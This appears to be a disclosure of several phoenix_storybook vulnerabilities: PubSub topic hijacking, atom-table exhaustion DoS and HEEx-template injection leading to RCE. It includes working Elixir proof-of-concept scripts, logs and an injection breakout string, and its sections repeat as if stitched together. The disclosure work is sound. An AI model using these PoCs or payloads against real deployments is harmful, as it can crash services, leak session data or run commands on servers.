This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

